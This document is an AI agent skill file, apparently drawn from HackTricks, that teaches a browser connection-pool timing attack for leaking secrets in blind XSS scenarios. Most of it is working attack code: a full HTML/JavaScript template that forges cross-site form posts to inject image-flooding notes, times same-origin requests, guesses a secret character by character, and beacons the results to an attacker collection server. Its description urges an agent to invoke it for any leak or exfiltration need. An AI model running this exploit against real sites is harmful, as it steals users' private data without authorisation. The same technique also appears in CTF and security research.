Hacktricks-skills connection-pool-timing-attack

How to perform timing-based XSS attacks exploiting browser connection pool limits. Use this skill whenever you need to leak data through timing side-channels, exploit Chrome's 6 concurrent connection limit per origin, perform blind XSS exfiltration, or extract secrets when direct data exfiltration is blocked. Make sure to use this skill for any timing-based attack, connection pool exploitation, or when you need to extract data from a blind XSS scenario where traditional exfiltration methods are blocked.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xs-search/connection-pool-by-destination-example/SKILL.MD
source content

Connection Pool Timing Attack

A technique to leak data through timing side-channels by exploiting browser connection pool limits (Chrome allows 6 concurrent connections per origin).

Attack Overview

This attack works by:

  1. Injecting a payload with many
    <img>
    tags loading a resource from the target origin
  2. Triggering the connection pool limit (6 concurrent requests max in Chrome)
  3. Timing a request to the same origin
  4. Detecting whether the pool is blocked (slow = injection active) or free (fast = injection inactive)
  5. Iterating through possible characters to extract secrets

When to Use This Attack

  • Blind XSS scenarios where you can't directly exfiltrate data
  • When the target has conditional resource loading based on input
  • CTF challenges with timing-based vulnerabilities
  • When traditional XSS exfiltration (beacon, fetch, img) is blocked
  • When you need to extract secrets character-by-character

Attack Pattern

Step 1: Create Payload with Many Image Tags

Inject a note/payload containing:

  • The secret prefix + test character
  • 70+
    <img>
    tags pointing to a resource on the target origin
const payload = 
  `${prefix}${letter}` +
  Array.from(Array(78))
    .map((e, i) => `<img/src=/js/purify.js?${i}>`)
    .join("")

Step 2: Time a Request to the Same Origin

function timeScript() {
  return new Promise((resolve) => {
    var x = document.createElement("script")
    x.src = "https://target.com/js/purify.js?" + Math.random()
    var start = Date.now()
    x.onerror = () => {
      resolve(Date.now() - start)
      x.remove()
    }
    document.body.appendChild(x)
  })
}

Step 3: Compare Timing

  • Slow (>100ms): Connection pool is blocked → injection was active → character matches
  • Fast (<100ms): Connection pool is free → injection was inactive → character doesn't match

Step 4: Iterate Through Alphabet

const alphabet = "zyxwvutsrqponmlkjihgfedcba_"
for (const letter of alphabet) {
  if (await checkLetter(letter)) {
    prefix += letter
    break
  }
}

Complete Attack Template

<html>
  <head>
    <script>
      const SITE_URL = "https://target.com/"
      const PING_URL = "https://your-server.com/collect"
      const TIMEOUT = 500
      const alphabet = "zyxwvutsrqponmlkjihgfedcba_"
      var prefix = "FLAG{"
      
      function timeScript() {
        return new Promise((resolve) => {
          var x = document.createElement("script")
          x.src = SITE_URL + "js/purify.js?" + Math.random()
          var start = Date.now()
          x.onerror = () => {
            resolve(Date.now() - start)
            x.remove()
          }
          document.body.appendChild(x)
        })
      }

      async function add_note(note) {
        let x = document.createElement("form")
        x.action = SITE_URL + "create"
        x.method = "POST"
        x.target = "xxx"
        let i = document.createElement("input")
        i.type = "text"
        i.name = "text"
        i.value = note
        x.appendChild(i)
        document.body.appendChild(x)
        x.submit()
      }

      async function remove_note(note_id) {
        let x = document.createElement("form")
        x.action = SITE_URL + "remove"
        x.method = "POST"
        x.target = "_blank"
        let i = document.createElement("input")
        i.type = "text"
        i.name = "index"
        i.value = note_id
        x.appendChild(i)
        document.body.appendChild(x)
        x.submit()
      }

      const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms))

      async function checkLetter(letter) {
        const payload =
          `${prefix}${letter}` +
          Array.from(Array(78))
            .map((e, i) => `<img/src=/js/purify.js?${i}>`)
            .join("")
        
        await add_note(payload)
        await sleep(TIMEOUT)
        await timeScript()
        await remove_note(1)
        await sleep(TIMEOUT)
        const time = await timeScript()
        
        navigator.sendBeacon(PING_URL, [letter, time])
        return time > 100
      }

      window.onload = async () => {
        navigator.sendBeacon(PING_URL, "start")
        for (const letter of alphabet) {
          if (await checkLetter(letter)) {
            prefix += letter
            navigator.sendBeacon(PING_URL, prefix)
            break
          }
        }
      }
    </script>
  </head>
  <body></body>
</html>

Key Parameters to Tune

ParameterDefaultPurpose
TIMEOUT
500msWait time between operations
threshold
100msTiming threshold for detection
img_count
78Number of img tags (must exceed 6)
alphabet
a-z_Characters to test

Detection Threshold

The threshold (100ms in the example) should be calibrated based on:

  • Network latency to the target
  • Server response time
  • Number of concurrent connections being blocked

Calibration method:

  1. Run the attack without the injection active
  2. Measure baseline timing
  3. Set threshold to baseline + margin (e.g., 2x baseline)

Browser Compatibility

BrowserConnection LimitNotes
Chrome6 per originPrimary target
Firefox6 per originSimilar behavior
Safari6 per originMay vary by version

Limitations

  • Slow: Character-by-character extraction takes time
  • Unreliable: Network jitter can cause false positives
  • Requires: Conditional resource loading on target
  • Browser-dependent: Connection limits vary by browser

Variations

Using Images Instead of Scripts

function timeImage() {
  return new Promise((resolve) => {
    var img = new Image()
    img.src = SITE_URL + "js/purify.js?" + Math.random()
    var start = Date.now()
    img.onload = img.onerror = () => {
      resolve(Date.now() - start)
    }
  })
}

Using Fetch API

async function timeFetch() {
  const start = Date.now()
  try {
    await fetch(SITE_URL + "js/purify.js?" + Math.random())
  } catch (e) {}
  return Date.now() - start
}

Testing Checklist

  • Confirm target has conditional resource loading
  • Verify connection pool limit on target browser
  • Calibrate timing threshold
  • Test with known input first
  • Set up beacon server to collect results
  • Account for network latency

References

  • Original exploit by @terjanq
  • Chrome connection pool limits: 6 concurrent connections per origin
  • Timing side-channel attacks in XSS contexts